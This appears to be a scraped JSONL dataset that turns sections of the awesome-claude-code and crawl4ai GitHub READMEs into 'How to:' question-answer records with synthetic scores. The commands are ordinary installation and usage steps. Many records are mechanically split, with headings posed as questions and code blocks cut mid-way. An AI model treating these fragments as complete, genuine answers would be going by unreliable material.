{"id": "gh_83ca1b188043", "question": "How to: CI / Deployment", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [/release](https://github.com/kelp/webdown/blob/main/.claude/commands/release.md) by [kelp](https://github.com/kelp) - Manages software releases by updating changelogs, reviewing README changes, evaluating version increments, and documenting release changes for better version tracking.\n- [/run-ci](https://github.com/hackdays-io/toban-contribution-viewer/blob/main/.claude/commands/run-ci.md) by [hackdays-io](https://github.com/hackdays-io) - Activates virtual environments, runs CI-compatible check scripts, iteratively fixes errors, and ensures all tests pass before completion.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517151"}
{"id": "gh_95a4ae755973", "question": "How to: Project & Task Management", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [/create-command](https://github.com/scopecraft/command/blob/main/.claude/commands/create-command.md) by [scopecraft](https://github.com/scopecraft) - Guides Claude through creating new custom commands with proper structure by analyzing requirements, templating commands by category, enforcing command standards, and creating supporting documentation.\n- [/create-jtbd](https://github.com/taddyorg/inkverse/blob/main/.claude/commands/create-jtbd.md) by [taddyorg](https://github.com/taddyorg) - Creates Jobs-to-be-Done frameworks that outline user needs with structured format, focusing on specific user problems and organizing by job categories for product development.\n- [/create-prd](https://github.com/taddyorg/inkverse/blob/main/.claude/commands/create-prd.md) by [taddyorg](https://github.com/taddyorg) - Generates comprehensive product requirement documents outlining detailed specifications, requirements, and features following standardized document structure and format.\n- [/create-prp](https://github.com/Wirasm/claudecode-utils/blob/main/.claude/commands/create-prp.md) by [Wirasm](https://github.com/Wirasm) - Creates product requirement plans by reading PRP methodology, following template structure, creating comprehensive requirements, and structuring product definitions for development.\n- [/do-issue](https://github.com/jerseycheese/Narraitor/blob/feature/issue-227-ai-suggestions/.claude/commands/do-issue.md) by [jerseycheese](https://github.com/jerseycheese) - Implements GitHub issues with manual review points, following a structured approach with issue number parameter and offering alternative automated mode for efficiency.\n- [/project_hello_w_name](https://github.com/disler/just-prompt/blob/main/.claude/commands/project_hello_w_name.md) by [disler](https://github.com/disler) - Creates customizable greeting components with name input, demonstrating argument passing, component reusability, state management, and user input handling.\n- [/todo](https://github.com/chrisleyva/todo-slash-command/blob/main/todo.md) by [chrisleyva](https://github.com/chrisleyva) - A convenient command to quickly manage project todo items without leaving the Claude Code interface, featuring due dates, sorting, task prioritization, and comprehensive todo list management.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517158"}
{"id": "gh_63907e0d196d", "question": "How to: Miscellaneous", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [/fixing_go_in_graph](https://github.com/Mjvolk3/torchcell/blob/main/.claude/commands/fixing_go_in_graph.md) by [Mjvolk3](https://github.com/Mjvolk3) - Focuses on Gene Ontology annotation integration in graph databases, handling multiple data sources, addressing graph representation issues, and ensuring correct data incorporation.\n- [/mermaid](https://github.com/GaloyMoney/lana-bank/blob/main/.claude/commands/mermaid.md) by [GaloyMoney](https://github.com/GaloyMoney) - Generates Mermaid diagrams from SQL schema files, creating entity relationship diagrams with table properties, validating diagram compilation, and ensuring complete entity coverage.\n- [/review_dcell_model](https://github.com/Mjvolk3/torchcell/blob/main/.claude/commands/review_dcell_model.md) by [Mjvolk3](https://github.com/Mjvolk3) - Reviews old Dcell implementation files, comparing with newer Dango model, noting changes over time, and analyzing refactoring approaches for better code organization.\n- [/use-stepper](https://github.com/zuplo/docs/blob/main/.claude/commands/use-stepper.md) by [zuplo](https://github.com/zuplo) - Reformats documentation to use React Stepper component, transforming heading formats, applying proper indentation, and maintaining markdown compatibility with admonition formatting.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517164"}
{"id": "gh_6b48335ec9ca", "question": "How to: CLAUDE.md Files 📂", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "> `CLAUDE.md` files are files that contain important guidelines and context-specific information or instructions that help Claude Code to better understand your project and your coding standards", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517169"}
{"id": "gh_b48b9dde93cd", "question": "How to: Language-Specific", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [AI IntelliJ Plugin](https://github.com/didalgolab/ai-intellij-plugin/blob/main/CLAUDE.md) by [didalgolab](https://github.com/didalgolab) - Provides comprehensive Gradle commands for IntelliJ plugin development with platform-specific coding patterns, detailed package structure guidelines, and clear internationalization standards.\n- [AWS MCP Server](https://github.com/alexei-led/aws-mcp-server/blob/main/CLAUDE.md) by [alexei-led](https://github.com/alexei-led) - Features multiple Python environment setup options with detailed code style guidelines, comprehensive error handling recommendations, and security considerations for AWS CLI interactions.\n- [DroidconKotlin](https://github.com/touchlab/DroidconKotlin/blob/main/CLAUDE.md) by [touchlab](https://github.com/touchlab) - Delivers comprehensive Gradle commands for cross-platform Kotlin Multiplatform development with clear module structure and practical guidance for dependency injection.\n- [EDSL](https://github.com/hesreallyhim/awesome-claude-code/blob/main/resources/claude.md-files/EDSL/CLAUDE.md) by [expectedparrot](https://github.com/expectedparrot) - Offers detailed build and test commands with strict code style enforcement, comprehensive testing requirements, and standardized development workflow using Black and mypy. *(Removed from origin)*\n- [Giselle](https://github.com/giselles-ai/giselle/blob/main/CLAUDE.md) by [giselles-ai](https://github.com/giselles-ai) - Provides detailed build and test commands using pnpm and Vitest with strict code formatting requirements and comprehensive naming conventions for code consistency.\n- [HASH](https://github.com/hashintel/hash/blob/main/CLAUDE.md) by [hashintel](https://github.com/hashintel) - Features comprehensive repository structure breakdown with strong emphasis on coding standards, detailed Rust documentation guidelines, and systematic PR review process.\n- [Inkline](https://github.com/inkline/inkline/blob/main/CLAUDE.md) by [inkline](https://github.com/inkline) - Structures development workflow using pnpm with emphasis on TypeScript and Vue 3 Composition API, detailed component creation process, and comprehensive testing recommendations.\n- [JSBeeb](https://github.com/mattgodbolt/jsbeeb/blob/main/CLAUDE.md) by [mattgodbolt](https://github.com/mattgodbolt) - Provides development guide for JavaScript BBC Micro emulator with build and testing instructions, architecture documentation, and debugging workflows.\n- [Lamoom Python](https://github.com/LamoomAI/lamoom-python/blob/main/CLAUDE.md) by [LamoomAI](https://github.com/LamoomAI) - Serves as reference for production prompt engineering library with load balancing of AI Models, API documentation, and usage patterns with examples.\n- [LangGraphJS](https://github.com/langchain-ai/langgraphjs/blob/main/CLAUDE.md) by [langchain-ai](https://github.com/langchain-ai) - Offers comprehensive build and test commands with detailed TypeScript style guidelines, layered library architecture, and monorepo structure using yarn workspaces.\n- [Metabase](https://github.com/metabase/metabase/blob/master/CLAUDE.md) by [metabase](https://github.com/metabase) - Details workflow for REPL-driven development in Clojure/ClojureScript with emphasis on incremental development, testing, and step-by-step approach for feature implementation.\n- [SG Cars Trends Backend](https://github.com/sgcarstrends/backend/blob/main/CLAUDE.md) by [sgcarstrends](https://github.com/sgcarstrends) - Provides comprehensive structure for TypeScript monorepo projects with detailed commands for development, testing, deployment, and AWS/Cloudflare integration.\n- [SPy](https://github.com/spylang/spy/blob/main/CLAUDE.md) by [spylang](https://github.com/spylang) - Enforces strict coding conventions with comprehensive testing guidelines, multiple code compilation options, and backend-specific test decorators for targeted filtering.\n- [TPL](https://github.com/KarpelesLab/tpl/blob/master/CLAUDE.md) by [KarpelesLab](https://github.com/KarpelesLab) - Details Go project conventions with comprehensive error handling recommendations, table-driven testing approach guidelines, and modernization suggestions for latest Go features.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517179"}
{"id": "gh_e3c8f4aebe55", "question": "How to: Domain-Specific", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [AVS Vibe Developer Guide](https://github.com/Layr-Labs/avs-vibe-developer-guide/blob/master/CLAUDE.md) by [Layr-Labs](https://github.com/Layr-Labs) - Structures AI-assisted EigenLayer AVS development workflow with consistent naming conventions for prompt files and established terminology standards for blockchain concepts.\n- [Comm](https://github.com/CommE2E/comm/blob/master/CLAUDE.md) by [CommE2E](https://github.com/CommE2E) - Serves as a development reference for E2E-encrypted messaging applications with code organization architecture, security implementation details, and testing procedures.\n- [Course Builder](https://github.com/badass-courses/course-builder/blob/main/CLAUDE.md) by [badass-courses](https://github.com/badass-courses) - Enables real-time multiplayer capabilities for collaborative course creation with diverse tech stack integration and monorepo architecture using Turborepo.\n- [Cursor Tools](https://github.com/eastlondoner/cursor-tools/blob/main/CLAUDE.md) by [eastlondoner](https://github.com/eastlondoner) - Creates a versatile AI command interface supporting multiple providers and models with flexible command options and browser automation through \"Stagehand\" feature.\n- [Guitar](https://github.com/soramimi/Guitar/blob/master/CLAUDE.md) by [soramimi](https://github.com/soramimi) - Serves as development guide for Guitar Git GUI Client with build commands for various platforms, code style guidelines for contributing, and project structure explanation.\n- [Network Chronicles](https://github.com/Fimeg/NetworkChronicles/blob/legacy-v1/CLAUDE.md) by [Fimeg](https://github.com/Fimeg) - Presents detailed implementation plan for AI-driven game characters with technical specifications for LLM integration, character guidelines, and service discovery mechanics.\n- [Pareto Mac](https://github.com/ParetoSecurity/pareto-mac/blob/main/CLAUDE.md) by [ParetoSecurity](https://github.com/ParetoSecurity) - Serves as development guide for Mac security audit tool with build instructions, contribution guidelines, testing procedures, and workflow documentation.\n- [SteadyStart](https://github.com/steadycursor/steadystart/blob/main/CLAUDE.md) by [steadycursor](https://github.com/steadycursor) - Clear and direct instructives about style, permissions, Claude's \"role\", communications, and documentation of Claude Code sessions for other team members to stay abreast.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517187"}
{"id": "gh_ff655cc01b86", "question": "How to: Project Scaffolding & MCP", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [Basic Memory](https://github.com/basicmachines-co/basic-memory/blob/main/CLAUDE.md) by [basicmachines-co](https://github.com/basicmachines-co) - Presents an innovative AI-human collaboration framework with Model Context Protocol for bidirectional LLM-markdown communication and flexible knowledge structure for complex projects.\n- [claude-code-mcp-enhanced](https://github.com/grahama1970/claude-code-mcp-enhanced/blob/main/CLAUDE.md) by [grahama1970](https://github.com/grahama1970) - Provides detailed and emphatic instructions for Claude to follow as a coding agent, with testing guidance, code examples, and compliance checks.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517192"}
{"id": "gh_9169e94d3228", "question": "How to: Alternative Clients 📱", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "> Alternative Clients are alternative UIs and front-ends for interacting with Claude Code, either on mobile or on the desktop.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517197"}
{"id": "gh_ab5533a1e1de", "question": "How to: Official Documentation 🏛️", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "> Links to some of Anthropic's terrific documentation and resources regarding Claude Code", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517203"}
{"id": "gh_6f175112788a", "question": "How to: **[Recommend a new resource here!](https://github.com/hesreallyhim/awesome-claude-code/issues/new?template=recommend-resource.yml)**", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "Recommending a resource for the list is very simple, and the automated system handles everything for you. Please do not open a PR to submit a recommendation - the only person who is allowed to submit PRs to this repo is Claude.\n\nMake sure that you have read the CONTRIBUTING.md document and CODE_OF_CONDUCT.md before you submit a recommendation.\n\nFor suggestions about the repository itself, please [open a repository enhancement issue](https://github.com/hesreallyhim/awesome-claude-code/issues/new?template=repository-enhancement.yml).\n\nThis project is released with a Code of Conduct. By participating, you agree to abide by its terms. And although I take strong measures to uphold the quality and safety of this list, I take no responsibility or liability for anything that might happen as a result of these third-party resources.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517210"}
{"id": "gh_068f47a9f13d", "question": "How to: Growing thanks to you", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "[![Stargazers over time](https://starchart.cc/hesreallyhim/awesome-claude-code.svg?variant=adaptive)](https://starchart.cc/hesreallyhim/awesome-claude-code)", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517215"}
{"id": "gh_f7af4c76907a", "question": "How to: Verify your installation", "question_body": "About unclecode/crawl4ai", "answer": "crawl4ai-doctor\n```\n\nIf you encounter any browser-related issues, you can install them manually:\n```bash\npython -m playwright install --with-deps chromium\n```\n\n2. Run a simple web crawl with Python:\n```python\nimport asyncio\nfrom crawl4ai import *\n\nasync def main():\n    async with AsyncWebCrawler() as crawler:\n        result = await crawler.arun(\n            url=\"https://www.nbcnews.com/business\",\n        )\n        print(result.markdown)\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n3. Or use the new command-line interface:\n```bash", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795116"}
{"id": "gh_b3cd5b2ee34c", "question": "How to: Deep crawl with BFS strategy, max 10 pages", "question_body": "About unclecode/crawl4ai", "answer": "crwl https://docs.crawl4ai.com --deep-crawl bfs --max-pages 10", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795127"}
{"id": "gh_2709ff2732c3", "question": "How to: Use LLM extraction with a specific question", "question_body": "About unclecode/crawl4ai", "answer": "crwl https://www.example.com/products -q \"Extract all product prices\"\n```", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795132"}
{"id": "gh_ebd70fc765bb", "question": "How to: 💖 Support Crawl4AI", "question_body": "About unclecode/crawl4ai", "answer": "> 🎉 **Sponsorship Program Now Open!** After powering 51K+ developers and 1 year of growth, Crawl4AI is launching dedicated support for **startups** and **enterprises**. Be among the first 50 **Founding Sponsors** for permanent recognition in our Hall of Fame.\n\nCrawl4AI is the #1 trending open-source web crawler on GitHub. Your support keeps it independent, innovative, and free for the community — while giving you direct access to premium benefits.\n[![Become a Sponsor](https://img.shields.io/badge/Become%20a%20Sponsor-pink?style=for-the-badge&logo=github-sponsors&logoColor=white)](https://github.com/sponsors/unclecode)  \n[![Current Sponsors](https://img.shields.io/github/sponsors/unclecode?style=for-the-badge&logo=github&label=Current%20Sponsors&color=green)](https://github.com/sponsors/unclecode)", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795141"}
{"id": "gh_e4cf481122f2", "question": "How to: 🤝 Sponsorship Tiers", "question_body": "About unclecode/crawl4ai", "answer": "- **🌱 Believer ($5/mo)** — Join the movement for data democratization  \n- **🚀 Builder ($50/mo)** — Priority support & early access to features  \n- **💼 Growing Team ($500/mo)** — Bi-weekly syncs & optimization help  \n- **🏢 Data Infrastructure Partner ($2000/mo)** — Full partnership with dedicated support  \n  *Custom arrangements available - see [SPONSORS.md](SPONSORS.md) for details & contact*\n\n**Why sponsor?**  \nNo rate-limited APIs. No lock-in. Build and own your data pipeline with direct guidance from the creator of Crawl4AI.\n\n[See All Tiers & Benefits →](https://github.com/sponsors/unclecode)", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795149"}
{"id": "gh_2896571de12c", "question": "How to: ✨ Features", "question_body": "About unclecode/crawl4ai", "answer": "📝\nMarkdown Generation\n- 🧹 **Clean Markdown**: Generates clean, structured Markdown with accurate formatting.\n- 🎯 **Fit Markdown**: Heuristic-based filtering to remove noise and irrelevant parts for AI-friendly processing.\n- 🔗 **Citations and References**: Converts page links into a numbered reference list with clean citations.\n- 🛠️ **Custom Strategies**: Users can create their own Markdown generation strategies tailored to specific needs.\n- 📚 **BM25 Algorithm**: Employs BM25-based filtering for extracting core information and removing irrelevant content.\n📊\nStructured Data Extraction\n- 🤖 **LLM-Driven Extraction**: Supports all LLMs (open-source and proprietary) for structured data extraction.\n- 🧱 **Chunking Strategies**: Implements chunking (topic-based, regex, sentence-level) for targeted content processing.\n- 🌌 **Cosine Similarity**: Find relevant content chunks based on user queries for semantic extraction.\n- 🔎 **CSS-Based Extraction**: Fast schema-based data extraction using XPath and CSS selectors.\n- 🔧 **Schema Definition**: Define custom schemas for extracting structured JSON from repetitive patterns.\n🌐\nBrowser Integration\n- 🖥️ **Managed Browser**: Use user-owned browsers with full control, avoiding bot detection.\n- 🔄 **Remote Browser Control**: Connect to Chrome Developer Tools Protocol for remote, large-scale data extraction.\n- 👤 **Browser Profiler**: Create and manage persistent profiles with saved authentication states, cookies, and settings.\n- 🔒 **Session Management**: Preserve browser states and reuse them for multi-step crawling.\n- 🧩 **Proxy Support**: Seamlessly connect to proxies with authentication for secure access.\n- ⚙️ **Full Browser Control**: Modify headers, cookies, user agents, and more for tailored crawling setups.\n- 🌍 **Multi-Browser Support**: Compatible with Chromium, Firefox, and WebKit.\n- 📐 **Dynamic Viewport Adjustment**: Automatically adjusts the browser viewport to match page content, ensuring complete rendering and capturing of all elements.\n🔎\nCrawling & Scraping\n- 🖼️ **Media Support**: Extract images, audio, videos, and responsive image formats like `srcset` and `picture`.\n- 🚀 **Dynamic Crawling**: Execute JS and wait for async or sync for dynamic content extraction.\n- 📸 **Screenshots**: Capture page screenshots during crawling for debugging or analysis.\n- 📂 **Raw Data Crawling**: Directly process raw HTML (`raw:`) or local files (`file://`).\n- 🔗 **Comprehensive Link Extraction**: Extracts internal, external links, and embedded iframe content.\n- 🛠️ **Customizable Hooks**: Define hooks at every step to customize crawling behavior (supports both string and function-based APIs).\n- 💾 **Caching**: Cache data for improved speed and to avoid redundant fetches.\n- 📄 **Metadata Extraction**: Retrieve structured metadata from web pages.\n- 📡 **IFrame Content Extraction**: Seamless extraction from embedded iframe content.\n- 🕵️ **Lazy Load Handling**: Waits for images to fully load, ensuring no content is missed due to lazy loading.\n- 🔄 **Full-Page Scanning**: Simulates scrolling to load and capture all dynamic content, perfect for infinite scroll pages.\n🚀\nDeployment\n- 🐳 **Dockerized Setup**: Optimized Docker image with FastAPI server for easy deployment.\n- 🔑 **Secure Authentication**: Built-in JWT token authentication for API security.\n- 🔄 **API Gateway**: One-click deployment with secure token authentication for API-based workflows.\n- 🌐 **Scalable Architecture**: Designed for mass-scale production and optimized server performance.\n- ☁️ **Cloud Deployment**: Ready-to-deploy configurations for major cloud platforms.\n🎯\nAdditional Features\n- 🕶️ **Stealth Mode**: Avoid bot detection by mimicking real users.\n- 🏷️ **Tag-Based Content Extraction**: Refine crawling based on custom tags, headers, or metadata.\n- 🔗 **Link Analysis**: Extract and analyze all links for detailed data exploration.\n- 🛡️ **Error Handling**: Robust error management for seamless execution.\n- 🔐 **CORS & Static Serving**: Supports filesystem-based caching and cross-origin requests.\n- 📖 **Clear Documentation**: Simplified and updated guides for onboarding and advanced usage.\n- 🙌 **Community Recognition**: Acknowledges contributors and pull requests for transparency.", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795173"}
{"id": "gh_744ab7e0f982", "question": "How to: Try it Now!", "question_body": "About unclecode/crawl4ai", "answer": "✨ Play around with this [![Open In Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/drive/1SgRPrByQLzjRfwoRNq1wSGE9nYY_EE8C?usp=sharing)\n\n✨ Visit our [Documentation Website](https://docs.crawl4ai.com/)", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795181"}
{"id": "gh_7ca0eedac752", "question": "How to: Installation 🛠️", "question_body": "About unclecode/crawl4ai", "answer": "Crawl4AI offers flexible installation options to suit various use cases. You can install it as a Python package or use Docker.\n🐍\nUsing pip\nChoose the installation option that best fits your needs:", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795187"}
{"id": "gh_0f9c53e9e72e", "question": "How to: Basic Installation", "question_body": "About unclecode/crawl4ai", "answer": "For basic web crawling and scraping tasks:\n\n```bash\npip install crawl4ai\ncrawl4ai-setup # Setup the browser\n```\n\nBy default, this will install the asynchronous version of Crawl4AI, using Playwright for web crawling.\n\n👉 **Note**: When you install Crawl4AI, the `crawl4ai-setup` should automatically install and set up Playwright. However, if you encounter any Playwright-related errors, you can manually install it using one of these methods:\n\n1. Through the command line:\n\n   ```bash\n   playwright install\n   ```\n\n2. If the above doesn't work, try this more specific command:\n\n   ```bash\n   python -m playwright install chromium\n   ```\n\nThis second method has proven to be more reliable in some cases.\n\n---", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795195"}
{"id": "gh_097917ef4f71", "question": "How to: Installation with Synchronous Version", "question_body": "About unclecode/crawl4ai", "answer": "The sync version is deprecated and will be removed in future versions. If you need the synchronous version using Selenium:\n\n```bash\npip install crawl4ai[sync]\n```\n\n---", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795201"}
{"id": "gh_960b08db3c7b", "question": "How to: Development Installation", "question_body": "About unclecode/crawl4ai", "answer": "For contributors who plan to modify the source code:\n\n```bash\ngit clone https://github.com/unclecode/crawl4ai.git\ncd crawl4ai\npip install -e .                    # Basic installation in editable mode\n```\n\nInstall optional features:\n\n```bash\npip install -e \".[torch]\"           # With PyTorch features\npip install -e \".[transformer]\"     # With Transformer features\npip install -e \".[cosine]\"          # With cosine similarity features\npip install -e \".[sync]\"            # With synchronous crawling (Selenium)\npip install -e \".[all]\"             # Install all optional features\n```\n🐳\nDocker Deployment\n> 🚀 **Now Available!** Our completely redesigned Docker implementation is here! This new solution makes deployment more efficient and seamless than ever.", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795208"}
{"id": "gh_9eb9b68c0f8f", "question": "How to: New Docker Features", "question_body": "About unclecode/crawl4ai", "answer": "The new Docker implementation includes:\n- **Real-time Monitoring Dashboard** with live system metrics and browser pool visibility\n- **Browser pooling** with page pre-warming for faster response times\n- **Interactive playground** to test and generate request code\n- **MCP integration** for direct connection to AI tools like Claude Code\n- **Comprehensive API endpoints** including HTML extraction, screenshots, PDF generation, and JavaScript execution\n- **Multi-architecture support** with automatic detection (AMD64/ARM64)\n- **Optimized resources** with improved memory management", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795214"}
{"id": "gh_d24aca448249", "question": "How to: Pull and run the latest release", "question_body": "About unclecode/crawl4ai", "answer": "docker pull unclecode/crawl4ai:latest\ndocker run -d -p 11235:11235 --name crawl4ai --shm-size=1g unclecode/crawl4ai:latest", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795219"}
{"id": "gh_15b7b3bc4b14", "question": "How to: Quick Test", "question_body": "About unclecode/crawl4ai", "answer": "Run a quick test (works for both Docker options):\n\n```python\nimport requests", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795224"}
{"id": "gh_41873264dc98", "question": "How to: Submit a crawl job", "question_body": "About unclecode/crawl4ai", "answer": "response = requests.post(\n    \"http://localhost:11235/crawl\",\n    json={\"urls\": [\"https://example.com\"], \"priority\": 10}\n)\nif response.status_code == 200:\n    print(\"Crawl job submitted successfully.\")\n    \nif \"results\" in response.json():\n    results = response.json()[\"results\"]\n    print(\"Crawl job completed. Results:\")\n    for result in results:\n        print(result)\nelse:\n    task_id = response.json()[\"task_id\"]\n    print(f\"Crawl job submitted. Task ID:: {task_id}\")\n    result = requests.get(f\"http://localhost:11235/task/{task_id}\")\n```\n\nFor more examples, see our [Docker Examples](https://github.com/unclecode/crawl4ai/blob/main/docs/examples/docker_example.py). For advanced configuration, monitoring features, and production deployment, see our [Self-Hosting Guide](https://docs.crawl4ai.com/core/self-hosting/).\n\n---", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795231"}
{"id": "gh_c4dcfa9133c2", "question": "How to: 🔬 Advanced Usage Examples 🔬", "question_body": "About unclecode/crawl4ai", "answer": "You can check the project structure in the directory [docs/examples](https://github.com/unclecode/crawl4ai/tree/main/docs/examples). Over there, you can find a variety of examples; here, some popular examples are shared.\n📝\nHeuristic Markdown Generation with Clean and Fit Markdown\n```python\nimport asyncio\nfrom crawl4ai import AsyncWebCrawler, BrowserConfig, CrawlerRunConfig, CacheMode\nfrom crawl4ai.content_filter_strategy import PruningContentFilter, BM25ContentFilter\nfrom crawl4ai.markdown_generation_strategy import DefaultMarkdownGenerator\n\nasync def main():\n    browser_config = BrowserConfig(\n        headless=True,  \n        verbose=True,\n    )\n    run_config = CrawlerRunConfig(\n        cache_mode=CacheMode.ENABLED,\n        markdown_generator=DefaultMarkdownGenerator(\n            content_filter=PruningContentFilter(threshold=0.48, threshold_type=\"fixed\", min_word_threshold=0)\n        ),\n        # markdown_generator=DefaultMarkdownGenerator(\n        #     content_filter=BM25ContentFilter(user_query=\"WHEN_WE_FOCUS_BASED_ON_A_USER_QUERY\", bm25_threshold=1.0)\n        # ),\n    )\n    \n    async with AsyncWebCrawler(config=browser_config) as crawler:\n        result = await crawler.arun(\n            url=\"https://docs.micronaut.io/4.9.9/guide/\",\n            config=run_config\n        )\n        print(len(result.markdown.raw_markdown))\n        print(len(result.markdown.fit_markdown))\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n🖥️\nExecuting JavaScript & Extract Structured Data without LLMs\n```python\nimport asyncio\nfrom crawl4ai import AsyncWebCrawler, BrowserConfig, CrawlerRunConfig, CacheMode\nfrom crawl4ai import JsonCssExtractionStrategy\nimport json\n\nasync def main():\n    schema = {\n    \"name\": \"KidoCode Courses\",\n    \"baseSelector\": \"section.charge-methodology .w-tab-content > div\",\n    \"fields\": [\n        {\n            \"name\": \"section_title\",\n            \"selector\": \"h3.heading-50\",\n            \"type\": \"text\",\n        },\n        {\n            